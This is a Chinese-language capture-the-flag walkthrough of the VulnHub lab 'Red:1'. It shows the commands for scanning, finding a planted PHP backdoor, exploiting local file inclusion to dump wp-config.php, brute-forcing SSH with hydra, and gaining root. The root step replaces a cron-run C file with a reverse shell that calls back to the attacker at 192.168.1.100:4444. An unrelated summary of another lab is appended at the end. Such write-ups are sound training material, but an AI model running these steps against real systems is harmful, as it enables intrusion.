vulnhub——Red:1靶机

一、概要

这里用的virtualbox打开靶机,VMware打开的攻击机,桥接模式

靶机:192.168.1.105
    后面机子被扫down了,重启换了个ip:192.168.1.106
攻击机:192.168.1.100
靶机下载地址:https://download.vulnhub.com/red/Red.ova

二、主机发现 

arp-scan

sudo arp-scan -l

netdiscover

sudo netdiscover

nmap

sudo nmap -sS 192.168.1.0/24

 三、信息收集

nmap扫描

sudo nmap -sS -A -T4 192.168.1.105

 开放了22端口ssh服务

80端口,wordpress模板

访问一下80端口的web

点击Hello Blue

页面进行了跳转,域名跳转到了redrocks.win,说明存在域名重定向

修改hosts文件

对hosts文件进行一下配置

sudo vi /etc/hosts

 这个页面已经被红队攻击了,还说永远找不到网站的后门

说明网站已经存在后门了

四、渗透流程

查看页面源码,给出了一个提示

 搜索这个人名,出现了一个他的github页面

首个项目就是seclists的字典,这个字典在kali中也有

后门扫描

使用find命令查找一下

sudo find / -name seclists

 其中有一个PHP后门的字典

使用这个字典对网站进行扫描

gobuster扫描

dir      经典的目录暴力破解模式
dns      DNS 子域暴力破解模式
s3       枚举打开的 S3 存储桶并查找存在和存储桶列表
vhost    虚拟主机暴力破解模式
 
    -u    指定爆破地址
    -w    指定爆破使用的字典
    -t    指定超时时间
    -x    指定爆破的后缀
可以确认扫描的是目录,所以使用dir参数
可以确认扫描的是一个PHP后门文件,所以指定后缀为php
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -u http://redrocks.win/ -x php

 访问一下,是一个空白页面,同时我们又知道它是一个后门文件,所以说明被成功解析了

这样的话,想要利用这个后门文件得知道它的构造

通常后门文件利用都是利用传参,再结合HTTP状态码500,所以猜测一下这里可能有LFI(本地文件包含漏洞),这样的话就得猜测一下传参

同样使用这个字典文件中的另一个字典,参数爆破字典

wfuzz参数爆破

--hc    指定过滤状态码
--sc    指定显示状态码
-b      指定cookie值,"cookie="
-c      高亮显示
-d      指定POST传参参数,"user="
-f      指定输出的文件及格式,/tmp/shell,html
-s      请求间隔时间
-t      设置线程,默认10
-u      指定URL地址
-w      指定使用的字典
-z      设置payload
-H      指定HTTP请求的请求头,"User-Agent:firfox"
-X      指定请求方法,GET/POST

LFI

这里可以测试出来参数为key,也确实有本地文件包含

 使用文件包含查看一下木马文件的内容

但是这里读不出来

尝试使用伪协议读取一下

 伪协议可以读出来源码,base64解码一下

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

后面的再解码一遍
That password alone won't help you! Hashcat says rules are rules 

 这里提到了hashcat,应该是没有什么用了这里的信息

敏感信息泄露

前面探查到了这个网站是wordpress的架构,利用文件包含查看一下它的配置文件,看有没有什么有用的信息

同样base64解码一下

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

这里面提到了一个john的用户

username:john
password:R3v_m4lwh3r3_k1nG!!

五、ssh远程连接

使用这个用户尝试一下ssh远程登录

连接不上

密码不正确应该是

根据前面的提示,利用hashcat对密码使用hashcat规则处理后再进行破解

hashcat进行hash碰撞

-a    指定破解模式
-b    测试计算机破解速度和相关硬件信息
-i    启用增量破解模式
-m    指定hash类型
-V    查看版本信息
-o    将输出结果存储到指定文件
-r    使用规则文件
-O    限制密码长度
-T    指定线程数

--force    忽略警告
--show     仅显示破解的hash密码和对应的明文
--remove   从中删除破解成功的hash
--username 忽略hash表中的用户名
hashcat --stdout 1.txt -r /usr/share/hashcat/rules/best64.rule > pass.txt

--stdout    不破解hash,只输出
-r          使用指定的规则

hydra

-l    指定破解的用户
-L    指定用户名字典
-p    指定密码破解
-P    指定密码字典破解
-s    指定非默认端口
-S    采用SSL链接
-e    n:空密码尝试
      s:指定用户和密码尝试
-t    线程,默认16
-w    指定最大超时时间,默认30(s)
-v    显示详细过程
server    目标ip
service   指定服务名,支持的服务和协议
hydra -l john -P pass.txt ssh://192.168.1.106

连接成功,这里应该是对密码做了一些防御机制,每隔一段时间的密码就不同了

 这里有一个文件

cat查看一下

回显的是vi格式打开的,结合文件内容,猜测应该是vi和cat互换了

六、sudo提权

查看一下权限

ippsec用户在不需要密码的情况下就可以执行/usr/bin/time命令

使用sudo -u提权到ippsec

由于连接过一段时间就会断开,所以这里进行一下权限维持

七、权限维持

首先向攻击机反弹一个shell 

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

由shell升级为终端,达到权限维持,否则ssh连接一断开,shell也随之就没了

python3 -c 'import pty;pty.spawn("/bin/bash")'

 这时可以看到,ssh连接已经断开

但是反弹的shell还是可以正常使用

八、获得root权限

查找一下ippsec账户下有权限的文件

find / -group ippsec -type d 2>/dev/null | grep -v proc
    -group    按用户组查找
    -type d   查找目录
          f   查找普通文件
          l   查找软链接文件
    
    grep -v   显示不包含匹配文本的所有行

有一个.git目录有些奇怪

root权限文件

来到该目录下,查看一下文件权限,都是root权限的文件

 查看一下这个.c文件的内容

发现是一个定时弹出的脚本

可以将这个文件的内容进行一下替换,替换为反弹shell的脚本,这样就可以弹回root权限的shell了应该

首先把当前目录下的rev文件和supersecretfileuc.c文件删除

rm -rf rev
rm -rf supersecretfileuc.c

接下来就是制作一个反弹shell的C语言脚本

使用Online - Reverse Shell Generator (revshells.com)这个网站可以生成.c的反弹shell的脚本

这里对文件内容稍作修改

把"sh"改为"/bin/bash"

把文件提前在攻击机写好,这里需要注意文件一定要写在web目录下,即/var/www/html,文件名仍为supersecretfileuc.c

利用python起一个临时的http服务,以供靶机下载

python3 -m http.server 9999

 

反弹root shell

靶机使用wget从攻击机上下载文件 

并对文件提升一下权限 

然后就不需要手动执行了,这里会生成一个新的rev文件,这个rev文件会驱动supersecretfileuc.c的执行,即它会自动执行,在攻击机上监听对应端口就可以了

这里拿到了root权限,在/root目录下找到了flag文件

后门文件处理

然后把defense中的后门文件删除就可以拿回控制权了

另一个flag

这里回到前面搜索ippsec有权限的目录时搜索到的一个用户目录,查看一下另一个没有提到的用户目录,拿到另一个flag 

Raven: 2是一台中级难度的boot2root虚拟机,目标是获取四个标志(flag)。Raven Security在多次遭受入侵后,采取了额外措施来加固他们的web服务器,以防止黑客入侵。你可以在Vulnhub上找到Raven: 2的ova文件,并使用VirtualBox打开。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vulnhub靶机raven2](https://blog.csdn.net/weixin_52450702/article/details/127811079)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vulnhub靶机——RAVEN: 2](https://blog.csdn.net/qq_44029310/article/details/126491848)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vulnhub靶机系列:Kioptrix: Level 1.2 (#3)](https://download.csdn.net/download/weixin_38717843/14052717)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值